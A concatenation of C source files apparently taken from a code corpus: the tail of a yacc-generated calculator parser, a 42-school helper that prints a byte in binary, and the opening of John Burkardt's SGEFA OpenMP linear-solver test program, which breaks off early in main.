p->yystack.stacksize = size;
if (size == 0)
{
p->yystack.s_base = NULL;
p->yystack.l_base = NULL;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
p->yystack.p_base = NULL;
#endif
return p;
}
p->yystack.s_base = (YYINT *) malloc(size * sizeof(YYINT));
if (p->yystack.s_base == NULL) return NULL;
p->yystack.l_base = (YYSTYPE *) malloc(size * sizeof(YYSTYPE));
if (p->yystack.l_base == NULL) return NULL;
memset(p->yystack.l_base, 0, size * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
p->yystack.p_base = (YYLTYPE *) malloc(size * sizeof(YYLTYPE));
if (p->yystack.p_base == NULL) return NULL;
memset(p->yystack.p_base, 0, size * sizeof(YYLTYPE));
#endif
return p;
}
static void
yyFreeState(YYParseState *p)
{
yyfreestack(&p->yystack);
free(p);
}
#endif /* YYBTYACC */
#define YYABORT goto yyabort
#define YYREJECT goto yyabort
#define YYACCEPT goto yyaccept
#define YYERROR goto yyerrlab
#if YYBTYACC
#define YYVALID do { if (yyps->save) goto yyvalid; } while(0)
#define YYVALID_NESTED do { if (yyps->save && \
yyps->save->save == 0) goto yyvalid; } while(0)
#endif /* YYBTYACC */
int
YYPARSE_DECL()
{
int yym, yyn, yystate, yyresult;
#if YYBTYACC
int yynewerrflag;
YYParseState *yyerrctx = NULL;
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE yyerror_loc_range[2]; /* position of error start & end */
#endif
#if YYDEBUG
const char *yys;
if ((yys = getenv("YYDEBUG")) != 0)
{
yyn = *yys;
if (yyn >= '0' && yyn <= '9')
yydebug = yyn - '0';
}
if (yydebug)
fprintf(stderr, "%sdebug[<# of symbols on state stack>]\n", YYPREFIX);
#endif
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
memset(yyerror_loc_range, 0, sizeof(yyerror_loc_range));
#endif
#if YYBTYACC
yyps = yyNewState(0); if (yyps == 0) goto yyenomem;
yyps->save = 0;
#endif /* YYBTYACC */
yym = 0;
yyn = 0;
yynerrs = 0;
yyerrflag = 0;
yychar = YYEMPTY;
yystate = 0;
#if YYPURE
memset(&yystack, 0, sizeof(yystack));
#endif
if (yystack.s_base == NULL && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystack.s_mark = yystack.s_base;
yystack.l_mark = yystack.l_base;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base;
#endif
yystate = 0;
*yystack.s_mark = 0;
yyloop:
if ((yyn = yydefred[yystate]) != 0) goto yyreduce;
if (yychar < 0)
{
#if YYBTYACC
do {
if (yylvp < yylve)
{
/* we're currently re-reading tokens */
yylval = *yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = *yylpp++;
#endif
yychar = *yylexp++;
break;
}
if (yyps->save)
{
/* in trial mode; save scanner results for future parse attempts */
if (yylvp == yylvlim)
{ /* Enlarge lexical value queue */
size_t p = (size_t) (yylvp - yylvals);
size_t s = (size_t) (yylvlim - yylvals);
s += YYLVQUEUEGROWTH;
if ((yylexemes = realloc(yylexemes, s * sizeof(YYINT))) == NULL) goto yyenomem;
if ((yylvals = realloc(yylvals, s * sizeof(YYSTYPE))) == NULL) goto yyenomem;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
if ((yylpsns = realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL) goto yyenomem;
#endif
yylvp = yylve = yylvals + p;
yylvlim = yylvals + s;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns + p;
yylplim = yylpsns + s;
#endif
yylexp = yylexemes + p;
}
*yylexp = (YYINT) YYLEX;
*yylvp++ = yylval;
yylve++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpp++ = yylloc;
yylpe++;
#endif
yychar = *yylexp++;
break;
}
/* normal operation, no conflict encountered */
#endif /* YYBTYACC */
yychar = YYLEX;
#if YYBTYACC
} while (0);
#endif /* YYBTYACC */
if (yychar < 0) yychar = YYEOF;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)",
YYDEBUGSTR, yydepth, yystate, yychar, yys);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, " <%s>", YYSTYPE_TOSTRING(yychar, yylval));
#endif
fputc('\n', stderr);
}
#endif
}
#if YYBTYACC
/* Do we have a conflict? */
if (((yyn = yycindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
YYINT ctry;
if (yypath)
{
YYParseState *save;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: CONFLICT in state %d: following successful trial parse\n",
YYDEBUGSTR, yydepth, yystate);
#endif
/* Switch to the next conflict context */
save = yypath;
yypath = save->save;
save->save = NULL;
ctry = save->ctry;
if (save->state != yystate) YYABORT;
yyFreeState(save);
}
else
{
/* Unresolved conflict - start/continue trial parse */
YYParseState *save;
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: CONFLICT in state %d. ", YYDEBUGSTR, yydepth, yystate);
if (yyps->save)
fputs("ALREADY in conflict, continuing trial parse.\n", stderr);
else
fputs("Starting trial parse.\n", stderr);
}
#endif
save = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1));
if (save == NULL) goto yyenomem;
save->save = yyps->save;
save->state = yystate;
save->errflag = yyerrflag;
save->yystack.s_mark = save->yystack.s_base + (yystack.s_mark - yystack.s_base);
memcpy (save->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
save->yystack.l_mark = save->yystack.l_base + (yystack.l_mark - yystack.l_base);
memcpy (save->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
save->yystack.p_mark = save->yystack.p_base + (yystack.p_mark - yystack.p_base);
memcpy (save->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
ctry = yytable[yyn];
if (yyctable[ctry] == -1)
{
#if YYDEBUG
if (yydebug && yychar >= YYEOF)
fprintf(stderr, "%s[%d]: backtracking 1 token\n", YYDEBUGSTR, yydepth);
#endif
ctry++;
}
save->ctry = ctry;
if (yyps->save == NULL)
{
/* If this is a first conflict in the stack, start saving lexemes */
if (!yylexemes)
{
yylexemes = malloc((YYLVQUEUEGROWTH) * sizeof(YYINT));
if (yylexemes == NULL) goto yyenomem;
yylvals = (YYSTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYSTYPE));
if (yylvals == NULL) goto yyenomem;
yylvlim = yylvals + YYLVQUEUEGROWTH;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpsns = (YYLTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYLTYPE));
if (yylpsns == NULL) goto yyenomem;
yylplim = yylpsns + YYLVQUEUEGROWTH;
#endif
}
if (yylvp == yylve)
{
yylvp = yylve = yylvals;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns;
#endif
yylexp = yylexemes;
if (yychar >= YYEOF)
{
*yylve++ = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpe++ = yylloc;
#endif
*yylexp = (YYINT) yychar;
yychar = YYEMPTY;
}
}
}
if (yychar >= YYEOF)
{
yylvp--;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp--;
#endif
yylexp--;
yychar = YYEMPTY;
}
save->lexeme = (int) (yylvp - yylvals);
yyps->save = save;
}
if (yytable[yyn] == ctry)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n",
YYDEBUGSTR, yydepth, yystate, yyctable[ctry]);
#endif
if (yychar < 0)
{
yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp++;
#endif
yylexp++;
}
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM)
goto yyoverflow;
yystate = yyctable[ctry];
*++yystack.s_mark = (YYINT) yystate;
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yylloc;
#endif
yychar = YYEMPTY;
if (yyerrflag > 0) --yyerrflag;
goto yyloop;
}
else
{
yyn = yyctable[ctry];
goto yyreduce;
}
} /* End of code dealing with conflicts */
#endif /* YYBTYACC */
if (((yyn = yysindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n",
YYDEBUGSTR, yydepth, yystate, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yylloc;
#endif
yychar = YYEMPTY;
if (yyerrflag > 0) --yyerrflag;
goto yyloop;
}
if (((yyn = yyrindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
yyn = yytable[yyn];
goto yyreduce;
}
if (yyerrflag != 0) goto yyinrecovery;
#if YYBTYACC
yynewerrflag = 1;
goto yyerrhandler;
goto yyerrlab; /* redundant goto avoids 'unused label' warning */
yyerrlab:
/* explicit YYERROR from an action -- pop the rhs of the rule reduced
* before looking for error recovery */
yystack.s_mark -= yym;
yystate = *yystack.s_mark;
yystack.l_mark -= yym;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark -= yym;
#endif
yynewerrflag = 0;
yyerrhandler:
while (yyps->save)
{
int ctry;
YYParseState *save = yyps->save;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: ERROR in state %d, CONFLICT BACKTRACKING to state %d, %d tokens\n",
YYDEBUGSTR, yydepth, yystate, yyps->save->state,
(int)(yylvp - yylvals - yyps->save->lexeme));
#endif
/* Memorize most forward-looking error state in case it's really an error. */
if (yyerrctx == NULL || yyerrctx->lexeme < yylvp - yylvals)
{
/* Free old saved error context state */
if (yyerrctx) yyFreeState(yyerrctx);
/* Create and fill out new saved error context state */
yyerrctx = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1));
if (yyerrctx == NULL) goto yyenomem;
yyerrctx->save = yyps->save;
yyerrctx->state = yystate;
yyerrctx->errflag = yyerrflag;
yyerrctx->yystack.s_mark = yyerrctx->yystack.s_base + (yystack.s_mark - yystack.s_base);
memcpy (yyerrctx->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yyerrctx->yystack.l_mark = yyerrctx->yystack.l_base + (yystack.l_mark - yystack.l_base);
memcpy (yyerrctx->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yyerrctx->yystack.p_mark = yyerrctx->yystack.p_base + (yystack.p_mark - yystack.p_base);
memcpy (yyerrctx->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yyerrctx->lexeme = (int) (yylvp - yylvals);
}
yylvp = yylvals + save->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + save->lexeme;
#endif
yylexp = yylexemes + save->lexeme;
yychar = YYEMPTY;
yystack.s_mark = yystack.s_base + (save->yystack.s_mark - save->yystack.s_base);
memcpy (yystack.s_base, save->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (save->yystack.l_mark - save->yystack.l_base);
memcpy (yystack.l_base, save->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (save->yystack.p_mark - save->yystack.p_base);
memcpy (yystack.p_base, save->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
ctry = ++save->ctry;
yystate = save->state;
/* We tried shift, try reduce now */
if ((yyn = yyctable[ctry]) >= 0) goto yyreduce;
yyps->save = save->save;
save->save = NULL;
yyFreeState(save);
/* Nothing left on the stack -- error */
if (!yyps->save)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%sdebug[%d,trial]: trial parse FAILED, entering ERROR mode\n",
YYPREFIX, yydepth);
#endif
/* Restore state as it was in the most forward-advanced error */
yylvp = yylvals + yyerrctx->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + yyerrctx->lexeme;
#endif
yylexp = yylexemes + yyerrctx->lexeme;
yychar = yylexp[-1];
yylval = yylvp[-1];
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = yylpp[-1];
#endif
yystack.s_mark = yystack.s_base + (yyerrctx->yystack.s_mark - yyerrctx->yystack.s_base);
memcpy (yystack.s_base, yyerrctx->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (yyerrctx->yystack.l_mark - yyerrctx->yystack.l_base);
memcpy (yystack.l_base, yyerrctx->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (yyerrctx->yystack.p_mark - yyerrctx->yystack.p_base);
memcpy (yystack.p_base, yyerrctx->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yystate = yyerrctx->state;
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
yynewerrflag = 1;
}
if (yynewerrflag == 0) goto yyinrecovery;
#endif /* YYBTYACC */
YYERROR_CALL("syntax error");
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yyerror_loc_range[0] = yylloc; /* lookahead position is error start position */
#endif
#if !YYBTYACC
goto yyerrlab; /* redundant goto avoids 'unused label' warning */
yyerrlab:
#endif
++yynerrs;
yyinrecovery:
if (yyerrflag < 3)
{
yyerrflag = 3;
for (;;)
{
if (((yyn = yysindex[*yystack.s_mark]) != 0) && (yyn += YYERRCODE) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) YYERRCODE)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, error recovery shifting to state %d\n",
YYDEBUGSTR, yydepth, *yystack.s_mark, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* lookahead position is error end position */
yyerror_loc_range[1] = yylloc;
YYLLOC_DEFAULT(yyloc, yyerror_loc_range, 2); /* position of error span */
*++yystack.p_mark = yyloc;
#endif
goto yyloop;
}
else
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: error recovery discarding state %d\n",
YYDEBUGSTR, yydepth, *yystack.s_mark);
#endif
if (yystack.s_mark <= yystack.s_base) goto yyabort;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* the current TOS position is the error start position */
yyerror_loc_range[0] = *yystack.p_mark;
#endif
#if defined(YYDESTRUCT_CALL)
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("error: discarding state",
yystos[*yystack.s_mark], yystack.l_mark, yystack.p_mark);
#else
YYDESTRUCT_CALL("error: discarding state",
yystos[*yystack.s_mark], yystack.l_mark);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#endif /* defined(YYDESTRUCT_CALL) */
--yystack.s_mark;
--yystack.l_mark;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
--yystack.p_mark;
#endif
}
}
}
else
{
if (yychar == YYEOF) goto yyabort;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, error recovery discarding token %d (%s)\n",
YYDEBUGSTR, yydepth, yystate, yychar, yys);
}
#endif
#if defined(YYDESTRUCT_CALL)
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("error: discarding token", yychar, &yylval, &yylloc);
#else
YYDESTRUCT_CALL("error: discarding token", yychar, &yylval);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#endif /* defined(YYDESTRUCT_CALL) */
yychar = YYEMPTY;
goto yyloop;
}
yyreduce:
yym = yylen[yyn];
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: state %d, reducing by rule %d (%s)",
YYDEBUGSTR, yydepth, yystate, yyn, yyrule[yyn]);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
if (yym > 0)
{
int i;
fputc('<', stderr);
for (i = yym; i > 0; i--)
{
if (i != yym) fputs(", ", stderr);
fputs(YYSTYPE_TOSTRING(yystos[yystack.s_mark[1-i]],
yystack.l_mark[1-i]), stderr);
}
fputc('>', stderr);
}
#endif
fputc('\n', stderr);
}
#endif
if (yym > 0)
yyval = yystack.l_mark[1-yym];
else
memset(&yyval, 0, sizeof yyval);
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* Perform position reduction */
memset(&yyloc, 0, sizeof(yyloc));
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
{
YYLLOC_DEFAULT(yyloc, &yystack.p_mark[1-yym], yym);
/* just in case YYERROR is invoked within the action, save
the start of the rhs as the error start position */
yyerror_loc_range[0] = yystack.p_mark[1-yym];
}
#endif
switch (yyn)
{
case 3:
#line 32 "code_calc.y"
{ yyerrok ; }
break;
case 4:
#line 36 "code_calc.y"
{ printf("%d\n",yystack.l_mark[0]);}
break;
case 5:
#line 38 "code_calc.y"
{ regs[yystack.l_mark[-2]] = yystack.l_mark[0]; }
break;
case 6:
#line 42 "code_calc.y"
{ yyval = yystack.l_mark[-1]; }
break;
case 7:
#line 44 "code_calc.y"
{ yyval = yystack.l_mark[-2] + yystack.l_mark[0]; }
break;
case 8:
#line 46 "code_calc.y"
{ yyval = yystack.l_mark[-2] - yystack.l_mark[0]; }
break;
case 9:
#line 48 "code_calc.y"
{ yyval = yystack.l_mark[-2] * yystack.l_mark[0]; }
break;
case 10:
#line 50 "code_calc.y"
{ yyval = yystack.l_mark[-2] / yystack.l_mark[0]; }
break;
case 11:
#line 52 "code_calc.y"
{ yyval = yystack.l_mark[-2] % yystack.l_mark[0]; }
break;
case 12:
#line 54 "code_calc.y"
{ yyval = yystack.l_mark[-2] & yystack.l_mark[0]; }
break;
case 13:
#line 56 "code_calc.y"
{ yyval = yystack.l_mark[-2] | yystack.l_mark[0]; }
break;
case 14:
#line 58 "code_calc.y"
{ yyval = - yystack.l_mark[0]; }
break;
case 15:
#line 60 "code_calc.y"
{ yyval = regs[yystack.l_mark[0]]; }
break;
case 17:
#line 65 "code_calc.y"
{ yyval = yystack.l_mark[0]; base = (yystack.l_mark[0]==0) ? 8 : 10; }
break;
case 18:
#line 67 "code_calc.y"
{ yyval = base * yystack.l_mark[-1] + yystack.l_mark[0]; }
break;
#line 1111 "code_calc.code.c"
default:
break;
}
yystack.s_mark -= yym;
yystate = *yystack.s_mark;
yystack.l_mark -= yym;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark -= yym;
#endif
yym = yylhs[yyn];
if (yystate == 0 && yym == 0)
{
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[YYFINAL], yyval));
#endif
fprintf(stderr, "shifting from state 0 to final state %d\n", YYFINAL);
}
#endif
yystate = YYFINAL;
*++yystack.s_mark = YYFINAL;
*++yystack.l_mark = yyval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yyloc;
#endif
if (yychar < 0)
{
#if YYBTYACC
do {
if (yylvp < yylve)
{
/* we're currently re-reading tokens */
yylval = *yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = *yylpp++;
#endif
yychar = *yylexp++;
break;
}
if (yyps->save)
{
/* in trial mode; save scanner results for future parse attempts */
if (yylvp == yylvlim)
{ /* Enlarge lexical value queue */
size_t p = (size_t) (yylvp - yylvals);
size_t s = (size_t) (yylvlim - yylvals);
s += YYLVQUEUEGROWTH;
if ((yylexemes = realloc(yylexemes, s * sizeof(YYINT))) == NULL)
goto yyenomem;
if ((yylvals = realloc(yylvals, s * sizeof(YYSTYPE))) == NULL)
goto yyenomem;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
if ((yylpsns = realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL)
goto yyenomem;
#endif
yylvp = yylve = yylvals + p;
yylvlim = yylvals + s;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns + p;
yylplim = yylpsns + s;
#endif
yylexp = yylexemes + p;
}
*yylexp = (YYINT) YYLEX;
*yylvp++ = yylval;
yylve++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpp++ = yylloc;
yylpe++;
#endif
yychar = *yylexp++;
break;
}
/* normal operation, no conflict encountered */
#endif /* YYBTYACC */
yychar = YYLEX;
#if YYBTYACC
} while (0);
#endif /* YYBTYACC */
if (yychar < 0) yychar = YYEOF;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)\n",
YYDEBUGSTR, yydepth, YYFINAL, yychar, yys);
}
#endif
}
if (yychar == YYEOF) goto yyaccept;
goto yyloop;
}
if (((yyn = yygindex[yym]) != 0) && (yyn += yystate) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yystate)
yystate = yytable[yyn];
else
yystate = yydgoto[yym];
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[yystate], yyval));
#endif
fprintf(stderr, "shifting from state %d to state %d\n", *yystack.s_mark, yystate);
}
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
*++yystack.s_mark = (YYINT) yystate;
*++yystack.l_mark = yyval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yyloc;
#endif
goto yyloop;
#if YYBTYACC
/* Reduction declares that this path is valid. Set yypath and do a full parse */
yyvalid:
if (yypath) YYABORT;
while (yyps->save)
{
YYParseState *save = yyps->save;
yyps->save = save->save;
save->save = yypath;
yypath = save;
}
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, CONFLICT trial successful, backtracking to state %d, %d tokens\n",
YYDEBUGSTR, yydepth, yystate, yypath->state, (int)(yylvp - yylvals - yypath->lexeme));
#endif
if (yyerrctx)
{
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
yylvp = yylvals + yypath->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + yypath->lexeme;
#endif
yylexp = yylexemes + yypath->lexeme;
yychar = YYEMPTY;
yystack.s_mark = yystack.s_base + (yypath->yystack.s_mark - yypath->yystack.s_base);
memcpy (yystack.s_base, yypath->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (yypath->yystack.l_mark - yypath->yystack.l_base);
memcpy (yystack.l_base, yypath->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (yypath->yystack.p_mark - yypath->yystack.p_base);
memcpy (yystack.p_base, yypath->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yystate = yypath->state;
goto yyloop;
#endif /* YYBTYACC */
yyoverflow:
YYERROR_CALL("yacc stack overflow");
#if YYBTYACC
goto yyabort_nomem;
yyenomem:
YYERROR_CALL("memory exhausted");
yyabort_nomem:
#endif /* YYBTYACC */
yyresult = 2;
goto yyreturn;
yyabort:
yyresult = 1;
goto yyreturn;
yyaccept:
#if YYBTYACC
if (yyps->save) goto yyvalid;
#endif /* YYBTYACC */
yyresult = 0;
yyreturn:
#if defined(YYDESTRUCT_CALL)
if (yychar != YYEOF && yychar != YYEMPTY)
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval, &yylloc);
#else
YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
{
YYSTYPE *pv;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *pp;
for (pv = yystack.l_base, pp = yystack.p_base; pv <= yystack.l_mark; ++pv, ++pp)
YYDESTRUCT_CALL("cleanup: discarding state",
yystos[*(yystack.s_base + (pv - yystack.l_base))], pv, pp);
#else
for (pv = yystack.l_base; pv <= yystack.l_mark; ++pv)
YYDESTRUCT_CALL("cleanup: discarding state",
yystos[*(yystack.s_base + (pv - yystack.l_base))], pv);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
}
#endif /* defined(YYDESTRUCT_CALL) */
#if YYBTYACC
if (yyerrctx)
{
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
while (yyps)
{
YYParseState *save = yyps;
yyps = save->save;
save->save = NULL;
yyFreeState(save);
}
while (yypath)
{
YYParseState *save = yypath;
yypath = save->save;
save->save = NULL;
yyFreeState(save);
}
#endif /* YYBTYACC */
yyfreestack(&yystack);
return (yyresult);
}
|
the_stack_data/218893821.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_putbyte_fd.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jodufour <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/03/25 03:01:12 by jdufour #+# #+# */
/* Updated: 2021/12/19 23:25:44 by jodufour ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdint.h>
#include <unistd.h>
/*
Print the given uint8_t `byte` in binary on the given file descriptor `fd`
Return the number of printed bytes
Return -1 upon failure
*/
int ft_putbyte_fd(uint8_t const byte, int const fd)
{
int i;
int ret;
if (write(fd, "", 0) == -1)
return (-1);
i = 8;
ret = 0;
while (--i >= 0)
{
if ((byte >> i) & 1)
ret += (int)write(fd, "1", 1);
else
ret += (int)write(fd, "0", 1);
}
return (ret);
}
|
the_stack_data/75138730.c
|
# include <stdlib.h>
# include <stdio.h>
# include <math.h>
# include <omp.h>
# include <time.h>
int main ( void );
void test01 ( int n );
void test02 ( int n );
void test03 ( int n );
int isamax ( int n, float x[], int incx );
void matgen ( int lda, int n, float a[], float x[], float b[] );
void msaxpy ( int nr, int nc, float a[], int n, float x[], float y[] );
void msaxpy2 ( int nr, int nc, float a[], int n, float x[], float y[] );
int msgefa ( float a[], int lda, int n, int ipvt[] );
int msgefa2 ( float a[], int lda, int n, int ipvt[] );
void saxpy ( int n, float a, float x[], int incx, float y[], int incy );
float sdot ( int n, float x[], int incx, float y[], int incy );
int sgefa ( float a[], int lda, int n, int ipvt[] );
void sgesl ( float a[], int lda, int n, int ipvt[], float b[], int job );
void sscal ( int n, float a, float x[], int incx );
void sswap ( int n, float x[], int incx, float y[], int incy );
void timestamp ( void );
/******************************************************************************/
int main ( void )
/******************************************************************************/
/*
Purpose:
MAIN is the main program for the SGEFA_OPENMP test program.
Discussion:
We want to compare methods of solving the linear system A*x=b.
The first way uses the standard sequential algorithm "SGEFA".
The second way uses a variant of SGEFA that has been modified to
take advantage of OpenMP.
The third way reruns the variant code, but with OpenMP turned off.
Modified:
17 April 2009
Author:
John Burkardt
*/
{
int n;
timestamp ( );
printf ( "\n" );
printf ( "SGEFA_OPENMP\n" );
